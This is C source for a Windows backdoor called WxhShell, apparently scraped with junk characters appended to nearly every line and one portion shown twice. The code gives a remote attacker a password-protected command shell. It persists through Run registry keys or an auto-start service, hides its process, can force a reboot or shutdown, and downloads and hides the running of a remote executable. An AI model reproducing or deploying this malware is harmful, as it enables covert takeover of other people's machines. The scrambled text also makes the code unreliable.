    if(Boot(SHUTDOWN)) )Xk0VDNp$/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HG^B#yX  
    else { .L9j>iP9 *  
    closesocket(wsh); *w^C"^*  
    ExitThread(0); *7CV^mDm  
    } KK&rb~  
    break; \|H!~)h$1  
    } d/PiiiFf,  
  // 获取shell $Z.7zH  
  case 's': { 'n{Nvt.c  
    CmdShell(wsh); tjIl-IQ  
    closesocket(wsh); iq8Grd L"  
    ExitThread(0); >p)MawT]  
    break; $+P>~X)  
  } )U~=Pf"  
  // 退出 61SlVec*o8  
  case 'x': { wN@oYFoL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8J:}%DaxL  
    CloseIt(wsh); s3~lT.  
    break; {K+i cTL3  
    } #xho[\  
  // 离开 PH1p2Je  
  case 'q': { W#^2#sjO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BzkooJ  
    closesocket(wsh); I9/W;# *~  
    WSACleanup(); E)TN,@%  
    exit(1); wG~`[>y (  
    break; i*|\KM?P  
        } T ? $:'XJ  
  } 2Z-ljD&  
  } 0xxg|;h.,g  
Lhl]g^SN  
  // 提示信息 k_sg ?(-!o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OBMTgZHxv  
} + fC=UAZ  
  } q)Lu_6 mg  
KV}FZ3jY  
  return; tmv&U;0Z  
} gnFr}L&j  
B|R@5mjm  
// shell模块句柄 Xnz3p"  
int CmdShell(SOCKET sock) !j:9`XD|  
{ 5 xppKt  
STARTUPINFO si; )[PtaPWeT  
ZeroMemory(&si,sizeof(si)); isQ[ Gc!8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "]"|"0#i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (a[y1{DLy  
PROCESS_INFORMATION ProcessInfo; }j^i}^Du,  
char cmdline[]="cmd"; }@;ep&b*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z)! qW?  
  return 0; VXYK?Qc'  
} : ]sUpO  
j <Bkj/  
// 自身启动模式 <L"GqNuRQ  
int StartFromService(void) W yB3ls~  
{ H=g`hF]`  
typedef struct ox(j^x]NC  
{ v*;-yG&  
  DWORD ExitStatus; {>R:vH 8  
  DWORD PebBaseAddress; 4?ICy/,U-  
  DWORD AffinityMask; YpH&<$x:  
  DWORD BasePriority; e4!:c^?  
  ULONG UniqueProcessId; e8pG"`wM8  
  ULONG InheritedFromUniqueProcessId; |2RC#]/-Y  
}   PROCESS_BASIC_INFORMATION; ~rDZ?~%  
jFASX2.p  
PROCNTQSIP NtQueryInformationProcess; {)BTR%t  
L\@I*QP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [3(7  4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v3aYc:C  
tKuVQH~D  
  HANDLE             hProcess; x c/}#>ED  
  PROCESS_BASIC_INFORMATION pbi; $}) g?Q  
(Dw,DY9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tw""}|] g  
  if(NULL == hInst ) return 0; V!lZ\)  
sejg&8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A/u)# ^\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~io szX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i+p^ ^t\  
5Ow[~p"l<  
  if (!NtQueryInformationProcess) return 0; <,[cQ I/  
K POa|$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); do*EKo  
  if(!hProcess) return 0; n/SwP  
L1cI`9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =p*]Az  
`%+Wz0(K  
  CloseHandle(hProcess); P(+&OoY2  
lu<xv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nv(9N-9r  
if(hProcess==NULL) return 0; y+"X~7EX  
*=(lyx_O  
HMODULE hMod; FFu9&8Y  
char procName[255]; ;1%-8f:lW  
unsigned long cbNeeded; -_1>C\h"  
nQ5n-A&["  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xT   
@\f^0^G  
  CloseHandle(hProcess); :_g$.h%%  
gk"$,\DI  
if(strstr(procName,"services")) return 1; // 以服务启动 (C@mLu)  
IOqwCD[  
  return 0; // 注册表启动 3Nq N \5B:  
} 2zs73:z  
Zc W:6po>  
// 主模块 X!9 B2w  
int StartWxhshell(LPSTR lpCmdLine) 4nh>'v%pD  
{ 7f0lQ  
  SOCKET wsl; vb<oi&X  
BOOL val=TRUE; s'%R  
  int port=0; NT e5  
  struct sockaddr_in door; 59"UL\3  
rA%usaW  
  if(wscfg.ws_autoins) Install(); B{'( L |  
0w&27wW  
port=atoi(lpCmdLine); r76J N  
 UA48Ug  
if(port<=0) port=wscfg.ws_port; ihIVUu-M  
Z0Vl+  
  WSADATA data; 57umx`m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M%2+y5  
Wu[&Wv~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    SL#0kc0x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U%q7Ai7  
  door.sin_family = AF_INET; \s=t|Wpu2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4KIRHnaj  
  door.sin_port = htons(port); eZIhEOF  
E\as@pqo\p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5|o6v1bM  
closesocket(wsl); $\]&rZVi  
return 1; Ye2 {f"F  
} lDYyqG4  
0 q} *S~  
  if(listen(wsl,2) == INVALID_SOCKET) { ew#B [[  
closesocket(wsl); kEOS{C%6R  
return 1; |iE50,  
} Sjv dirr  
  Wxhshell(wsl); r:f[mk"-"A  
  WSACleanup(); pWK(z[D  
1FlX'[vh  
return 0; ts\5uiB<%  
nqI@Y)  
} kYG/@7f/  
qf!p 9@4F[  
// 以NT服务方式启动 D^l%{IG   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =t9\^RIx)?  
{ 8$6Y{$&C  
DWORD   status = 0; *=]&&<  
  DWORD   specificError = 0xfffffff; uE%r/:!k4$  
#gz M|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _jLL_GD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A mNW0.}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r^FhTzA=1  
  serviceStatus.dwWin32ExitCode     = 0; GFeQ%l`7F  
  serviceStatus.dwServiceSpecificExitCode = 0; _P0T)-X\(  
  serviceStatus.dwCheckPoint       = 0; }4 )H   
  serviceStatus.dwWaitHint       = 0; ar__ Pf6r  
W-mQjJ`,B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SxOC1+Oy  
  if (hServiceStatusHandle==0) return; Z/k:~%|E  
OGK}EI  
status = GetLastError(); ~Sj9GxTe  
  if (status!=NO_ERROR) i,>khc  
{ O(fM?4w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  6:b! F  
    serviceStatus.dwCheckPoint       = 0; 8(pp2rlR  
    serviceStatus.dwWaitHint       = 0; )J2mM  
    serviceStatus.dwWin32ExitCode     = status; tSc Pa,(  
    serviceStatus.dwServiceSpecificExitCode = specificError; +R3k-' >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U{2BVqM  
    return; [@VP?74  
  } 1oR7iD^  
K"|l@Q[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eD,.~Y#?=  
  serviceStatus.dwCheckPoint       = 0; EK {Eo9l  
  serviceStatus.dwWaitHint       = 0; |2O]R s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~IYUuWF(  
} q]T1dz?  
jyZ  (RB  
// 处理NT服务事件,比如:启动、停止 J1( 9QN[w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dBYmiF!+  
{ |XQIfW]A  
switch(fdwControl) k.uH~S_  
{ ~ksi</s  
case SERVICE_CONTROL_STOP: dq(uVW^&ae  
  serviceStatus.dwWin32ExitCode = 0; smlpD3?va  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5eLtCsHz  
  serviceStatus.dwCheckPoint   = 0; '~5LY!H(pT  
  serviceStatus.dwWaitHint     = 0; &5\iM^  
  { ) pzy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IHB} `e|  
  } #eoome2Q  
  return; ;Y 00TGU  
case SERVICE_CONTROL_PAUSE: 9]k @Q_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wo4;n9@I  
  break; GZEc l'h*  
case SERVICE_CONTROL_CONTINUE: *:Y%HAy*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YN/|$sMD|  
  break; T. }1/S"m  
case SERVICE_CONTROL_INTERROGATE: qraSRK5  
  break; B^1>PE  
}; n`#tKwWHYx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;y,5k?  
} I@T8Iv=  
WA5&# kg\  
// 标准应用程序主函数 tI`Q/a5@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) = I:.X ;  
{ o)h_H;  
Z?6%;n^ 54  
// 获取操作系统版本 5&QJ7B,!  
OsIsNt=GetOsVer(); |t^E~HLm,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $|L Sx  
O8+7g+J=!  
  // 从命令行安装 +NeOSQSj  
  if(strpbrk(lpCmdLine,"iI")) Install(); q3mJ782p]  
tRs [ YK  
  // 下载执行文件 ? E1<!~  
if(wscfg.ws_downexe) { 3_ r*y9l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )P%ZA)l%_o  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nkjza:f{  
}  ]3x?  
%>yG+Od5Z  
if(!OsIsNt) { c?tBi9'Y]  
// 如果时win9x,隐藏进程并且设置为注册表启动 .7Dtm<K#  
HideProc(); i5en*)O8  
StartWxhshell(lpCmdLine); Ghu#XJB?  
} 2POXj!N  
else ?ME6+Z\  
  if(StartFromService()) _Us#\+]_:  
  // 以服务方式启动 .~)q};Z  
  StartServiceCtrlDispatcher(DispatchTable); 9eGyyZg  
else `[z<4"Os   
  // 普通方式启动 DH[p\Wy'  
  StartWxhshell(lpCmdLine); <Q3oT  
Vrjc~>X  
return 0; l>2E (Y|  
} <5-[{Q/2z  
{}>0e:51  
Z)e/ !~""]  
+M./@U*g  
=========================================== Y#]+Tm (+  
s28`OKC}  
dV*]f$wQ  
/1Qr#OJ(]  
yd^ {tQi  
F<ZYh  
" &D >G8  
3oBtP<yG.  
#include <stdio.h> hP=WFD&  
#include <string.h> h(<,fg1  
#include <windows.h> v V'EZ ?  
#include <winsock2.h> x5|I  
#include <winsvc.h> #Z}Rf k(~  
#include <urlmon.h> ,QOG!T4  
6}Vf\j~  
#pragma comment (lib, "Ws2_32.lib") n#/_Nz  
#pragma comment (lib, "urlmon.lib") $CxKuB(  
P]<4R:yb  
#define MAX_USER   100 // 最大客户端连接数 QgrpBG  
#define BUF_SOCK   200 // sock buffer @d^Grm8E  
#define KEY_BUFF   255 // 输入 buffer efSM`!%j  
kJWn<5%ayg  
#define REBOOT     0   // 重启 O1rvaOlr  
#define SHUTDOWN   1   // 关机 PUz*!9HC  
/Y*WBTV'  
#define DEF_PORT   5000 // 监听端口 fs|)l$Rd  
YSs)HV.8  
#define REG_LEN     16   // 注册表键长度 < z+t,<3D  
#define SVC_LEN     80   // NT服务名长度 yTyj'-4  
 ^le<}  
// 从dll定义API *xc_k"\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LO'**}vm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,c$,!.r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q.bXM?V)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H1 2Fw'2  
m9)p-1y@5  
// wxhshell配置信息 ZjT,pOSyb  
struct WSCFG { h,QKd>4:CF  
  int ws_port;         // 监听端口 |o,YCzy|5  
  char ws_passstr[REG_LEN]; // 口令 TbA}BFT`  
  int ws_autoins;       // 安装标记, 1=yes 0=no .=U#eHBdAQ  
  char ws_regname[REG_LEN]; // 注册表键名 J%8(kWQ|  
  char ws_svcname[REG_LEN]; // 服务名 y@]_+2Vo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p$SX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W"724fwu&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,9?BcD1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &vHoRY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c~6>1w7SZ4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ytgcs( /$  
so^lb?g  
}; {2qFY 5H  
tv>>l%  
// default Wxhshell configuration Usg K  
struct WSCFG wscfg={DEF_PORT, k")R[)92b?  
    "xuhuanlingzhe", :WQ^j!9'  
    1, Rn#KfI:{  
    "Wxhshell", `))\}C@k  
    "Wxhshell", ttXXy3G#  
            "WxhShell Service", .id)VF-l  
    "Wrsky Windows CmdShell Service", "mX\&%i6\p  
    "Please Input Your Password: ", ag$Vgl  
  1, cQG +$0(  
  "http://www.wrsky.com/wxhshell.exe", h H <J,Wn  
  "Wxhshell.exe" ##KBifU"  
    }; `IOs-%s  
_C.BFE _p  
// 消息定义模块 Zkx[[gzL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b k|m4|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tcI}Ca>u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t(GR)&>.2  
char *msg_ws_ext="\n\rExit."; "8'@3$>R=  
char *msg_ws_end="\n\rQuit."; {)DHH:n  
char *msg_ws_boot="\n\rReboot..."; 6}75iIKi  
char *msg_ws_poff="\n\rShutdown..."; x8!ol2\`<  
char *msg_ws_down="\n\rSave to "; PpV'F[|,r  
6Ztq  
char *msg_ws_err="\n\rErr!"; ;WgJ<&33  
char *msg_ws_ok="\n\rOK!"; bB }$'  
[(o7$i29|%  
char ExeFile[MAX_PATH]; Z?pnj8h-&  
int nUser = 0;  e`d%-9  
HANDLE handles[MAX_USER]; Kh(ZU^{n  
int OsIsNt; / y A7%2  
!icT/5  
SERVICE_STATUS       serviceStatus; e2z h&j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uMut=ja(U  
XGJj3-eW {  
// 函数声明 I+Jm>XN  
int Install(void); Qd=^S^}(  
int Uninstall(void); *4U^0e  
int DownloadFile(char *sURL, SOCKET wsh); z?[r  
int Boot(int flag); -6Oz^  
void HideProc(void); 3= DNb+D!  
int GetOsVer(void); Glxuz0]  
int Wxhshell(SOCKET wsl); cZH-"  
void TalkWithClient(void *cs); |l&vkRrN  
int CmdShell(SOCKET sock); Rop'e8Q  
int StartFromService(void); Na$Is'F &p  
int StartWxhshell(LPSTR lpCmdLine); u)3 $~m~  
@o#!EfZyE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &j?#3Qt'_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WuPH'4b 5  
%uJ<M-@r=u  
// 数据结构和表定义 %7#-%{  
SERVICE_TABLE_ENTRY DispatchTable[] = lZyG)0t,g  
{ .Q@S #d  
{wscfg.ws_svcname, NTServiceMain}, W?0 lV5/  
{NULL, NULL} 6el;Erp  
}; 1rKlZsZ#*  
AjJURn0`,!  
// 自我安装 >ELlnE8  
int Install(void) 'xhcuVl  
{ K`/`|1  
  char svExeFile[MAX_PATH]; ?."&MZ  
  HKEY key; `W dD8E  
  strcpy(svExeFile,ExeFile); aO@ 7O*  
"z0zpHXek  
// 如果是win9x系统,修改注册表设为自启动 j. *VJazb;  
if(!OsIsNt) { V$"ujRp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %q!8={J8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \A#1y\ok  
  RegCloseKey(key); ZDD..j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p8kr/uMP ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?OE.O/~l  
  RegCloseKey(key); Nc :({@I  
  return 0; !/^-;o7  
    } rC.eyq,105  
  } &ISb~5  
} GK9/D|h4  
else { 3' ~gvi I  
#l4)HV  
// 如果是NT以上系统,安装为系统服务 yC3yij<oR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !@x+q)2  
if (schSCManager!=0) yfj K2  
{ JOb*-q|y  
  SC_HANDLE schService = CreateService  U3izvM  
  ( >_c5r?]SG  
  schSCManager, Iq#ZhAk  
  wscfg.ws_svcname, tV_t6x_.  
  wscfg.ws_svcdisp, zF@o2<cD@  
  SERVICE_ALL_ACCESS, |.F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RbGJ)K!  
  SERVICE_AUTO_START, ^A][)*SZ  
  SERVICE_ERROR_NORMAL, n4R2^gXAw  
  svExeFile, +B'8|5tPX  
  NULL, 5jgdbHog]  
  NULL, TDg@Tg0  
  NULL, }m/RZP~=  
  NULL, o7TN,([W  
  NULL p1D[YeF4  
  ); 9D 0dg(  
  if (schService!=0) SR^_cpZoi  
  { < AI;6/  
  CloseServiceHandle(schService); tM,%^){p$  
  CloseServiceHandle(schSCManager); ESg+n(R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6AvHavA^Y  
  strcat(svExeFile,wscfg.ws_svcname); ="%W2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )i>[M"7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >tG+?Y'{  
  RegCloseKey(key); uNHdpni  
  return 0; X 6 lH|R  
    } T *I?9d{k  
  } 1`LXz3uBe  
  CloseServiceHandle(schSCManager); 2$ !D* <  
} a`E*\O'd  
} 6*nAo8gl  
"BKeot[""p  
return 1; J9%@VZut  
} 3Db3xN  
LF?P> 1%-  
// 自我卸载 {%.Lk'#9  
int Uninstall(void) 6al=Cwf  
{ pi5GxDA]  
  HKEY key; _P,^_%}V06  
WlV z,t'if  
if(!OsIsNt) { ?$z.K>S5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =q(GHg;'  
  RegDeleteValue(key,wscfg.ws_regname); Aaw(Ed  
  RegCloseKey(key); -$<O\5cAQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C;Ic  
  RegDeleteValue(key,wscfg.ws_regname); RGD]8 mw  
  RegCloseKey(key); .5> 20\b2  
  return 0; Y'`"9Db  
  } Q0_>'sEM  
} R4e&^tI@*  
} Rt(J/%;  
else { LS.r%:$mb  
rrs"N3!aT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .G>t72DpU  
if (schSCManager!=0) % *z-PT22  
{ gJ3c;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -DO&_`kn  
  if (schService!=0) *s)}Bj  
  { -s__ E  
  if(DeleteService(schService)!=0) { V+Xl9v4O  
  CloseServiceHandle(schService); Vf-5&S&9  
  CloseServiceHandle(schSCManager); Psa@@'w  
  return 0; (A/0@f1#  
  } qJ8-9^E,L  
  CloseServiceHandle(schService); {<w +3Va  
  } ^m7~:=K7WG  
  CloseServiceHandle(schSCManager); *]s&8/Gmb  
} 8 #oR/Nt  
} TYjA:d9YH  
u/AT-e r;  
return 1; X)uDSI~  
} gbOCR1PBg  
;?IT)sNY  
// 从指定url下载文件 @qK<T  
int DownloadFile(char *sURL, SOCKET wsh) xRDiRj  
{ @?&Wm3x9  
  HRESULT hr; 'I/h(  
char seps[]= "/"; <>4!XPo%J  
char *token; D\]&8w6&  
char *file; 3;$bS<>  
char myURL[MAX_PATH]; A['uD<4b  
char myFILE[MAX_PATH]; t 6u-G+}  
C ?H{CP  
strcpy(myURL,sURL); oL *n>dH  
  token=strtok(myURL,seps); )&Z>@S^  
  while(token!=NULL) 02 f9 wV  
  { aqQ o,5U>  
    file=token; p$!@I  
  token=strtok(NULL,seps); #q4*]qGHm  
  } QjukK6#W  
zS% m_,t  
GetCurrentDirectory(MAX_PATH,myFILE); 0#|7U_n  
strcat(myFILE, "\\"); 6$B'Q30}r  
strcat(myFILE, file); ;9rTE|n  
  send(wsh,myFILE,strlen(myFILE),0); ^eTZn[qH>w  
send(wsh,"...",3,0); e`DsP8-&v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ysk, w,K  
  if(hr==S_OK) aG3k4  
return 0; \j:gr>4  
else \8_V(lU   
return 1; GAJ~$AiwHH  
ec?1c&E  
} #1l7FT?q  
E*4t8  
// 系统电源模块 7jezw'\=~  
int Boot(int flag)  M]0^ind  
{ 4 ?2g&B\  
  HANDLE hToken; _[$# b]V  
  TOKEN_PRIVILEGES tkp;  wF;B@  
-><QFJ  
  if(OsIsNt) { D%GGu"@GO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CveWl$T12  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a#R %8)  
    tkp.PrivilegeCount = 1; m3%ef  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (wlfMiO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -y<x!61  
if(flag==REBOOT) { %Ht ^yemQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {fElto   
  return 0; xc *!W*04  
} LI:?Y_r  
else { T:)% P6/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hOSf'mi  
  return 0; {*nEKPq(_*  
} :>ZzP:QD  
  } |?|K\UF(Y  
  else { I W8.  
if(flag==REBOOT) { d.b?! kn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L+(C5L93}  
  return 0; Ahd\TH  
} iZu:uMoc  
else { X#Ak'%J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I<9n(rA  
  return 0; H&u4v2  
} e7hO;=?b'  
} 0JrK/Ma3  
?bn;{c;E  
return 1; XzN-slu!  
} [ArO$X3\  
bA0uGLc  
// win9x进程隐藏模块 s|BX> 1  
void HideProc(void) f^ywW[dF  
{ o9~h%&  
~t$mw,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n8 GF8a  
  if ( hKernel != NULL ) T&mbXMN  
  { N!.kq4$.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %zRiLcAT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tu7+LwF7  
    FreeLibrary(hKernel); li1v 4  
  } !k%l+I3J[  
2z[r@}3  
return; fuQ4rt[i  
} JO}#f+w}  
)A"ZV[eOoQ  
// 获取操作系统版本 8H&_,;  
int GetOsVer(void) $hyqYp"/;  
{ #?L(#a$k  
  OSVERSIONINFO winfo; 8x!+tw7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %_]=i@Y~  
  GetVersionEx(&winfo); NW }>pb9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %H 8A=  
  return 1; t5I^1u6  
  else =W;t@"6>2  
  return 0; U)SM),bE[  
} J(3gT }z-  
E_ o{c5N  
// 客户端句柄模块 }R7sj  
int Wxhshell(SOCKET wsl) ._8xY$l$  
{ }<6oFUZ  
  SOCKET wsh; oV%( 37W9=  
  struct sockaddr_in client; D{Hh#x8Y  
  DWORD myID; \f8P`oET~  
>cGh|_9  
  while(nUser<MAX_USER) TBoM{s=.  
{ _)HD4,`  
  int nSize=sizeof(client); V%X:1 8j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |@T5$Xg]5  
  if(wsh==INVALID_SOCKET) return 1; H1aV}KD  
i6meY$l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S3j]{pZ(z  
if(handles[nUser]==0) c n\k`8  
  closesocket(wsh); vjOG?-  
else VEFwqB1l  
  nUser++; \;3B?8wbIl  
  } TnbGO;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KdBq@  
wGov|[X  
  return 0; oTplxF1  
} t 1Ir4  
3{2^G@j  
// 关闭 socket b0~H>cnA  
void CloseIt(SOCKET wsh) `:-@E2  
{ RTgQ#<W8  
closesocket(wsh); :Y}Y&mA4  
nUser--; t%]^5<+X58  
ExitThread(0); (<d&BV-"  
} =Do3#Xe2V  
4Vb}i[</  
// 客户端请求句柄 B9m>H=8a  
void TalkWithClient(void *cs) ';;p8bv+  
{ xN{"%>Mx  
+q`rz  
  SOCKET wsh=(SOCKET)cs; Vid{6?7kh  
  char pwd[SVC_LEN]; `wn<3#  
  char cmd[KEY_BUFF]; Tdk2436=  
char chr[1]; U- *8%>Qp  
int i,j; n,Yr!W:h  
]2aYi9)  
  while (nUser < MAX_USER) { Q}=W>|aE.  
&(H)gjH  
if(wscfg.ws_passstr) { DJD]aI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LEn=dU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y'0dl "Dy\  
  //ZeroMemory(pwd,KEY_BUFF); nyl8=F:V  
      i=0; $tt0D?$4  
  while(i<SVC_LEN) { m! '1$G  
]@ Sc}  
  // 设置超时 Wd^F%)(  
  fd_set FdRead; @LW xz  
  struct timeval TimeOut; fzkCI  
  FD_ZERO(&FdRead); @o3R`ZgC]\  
  FD_SET(wsh,&FdRead); T$.-{I  
  TimeOut.tv_sec=8; bD-/ZZz  
  TimeOut.tv_usec=0; w.T=Lzp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xM'S ;Sg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lEYT{  
t6h`WAZV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2 l[A=Z  
  pwd=chr[0]; IioE<wS)  
  if(chr[0]==0xd || chr[0]==0xa) { z[|PsC3i:  
  pwd=0; U>plv  
  break; <igx[2X  
  } yf#%)-7(  
  i++; lM|WOmD  
    } _/sf@R  
f5=t*9_-[  
  // 如果是非法用户,关闭 socket ELgae1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LD~uI  
} i9EMi_%  
Hdq/E>u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |B{$URu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CI,`R&=xO  
Y="&|c=w#L  
while(1) { {OhkuON  
VG'(   
  ZeroMemory(cmd,KEY_BUFF); Am0.c0h  
'd.@4 9  
      // 自动支持客户端 telnet标准   t zW<&^  
  j=0; 1=q?#PQ  
  while(j<KEY_BUFF) { R&=GB\`:a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !NAX6m  
  cmd[j]=chr[0]; d Xo'#.  
  if(chr[0]==0xa || chr[0]==0xd) { H+#wj|,+\  
  cmd[j]=0; 0rm;)[SjF  
  break; 9-E>n)  
  } qn"T? O  
  j++; mQA<t)1  
    } V+a%,sI  
;~Gpw/]5E  
  // 下载文件 W];6u  
  if(strstr(cmd,"http://")) { ;gW|qb+#)j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >3 .ep},  
  if(DownloadFile(cmd,wsh)) Tvx8l m '  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ot+~|Dl  
  else rDx],O _  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W &wDH  
  } Y&Lk4  
  else { Jx9%8Ek  
&CmkNm_B  
    switch(cmd[0]) { >(6\ C  
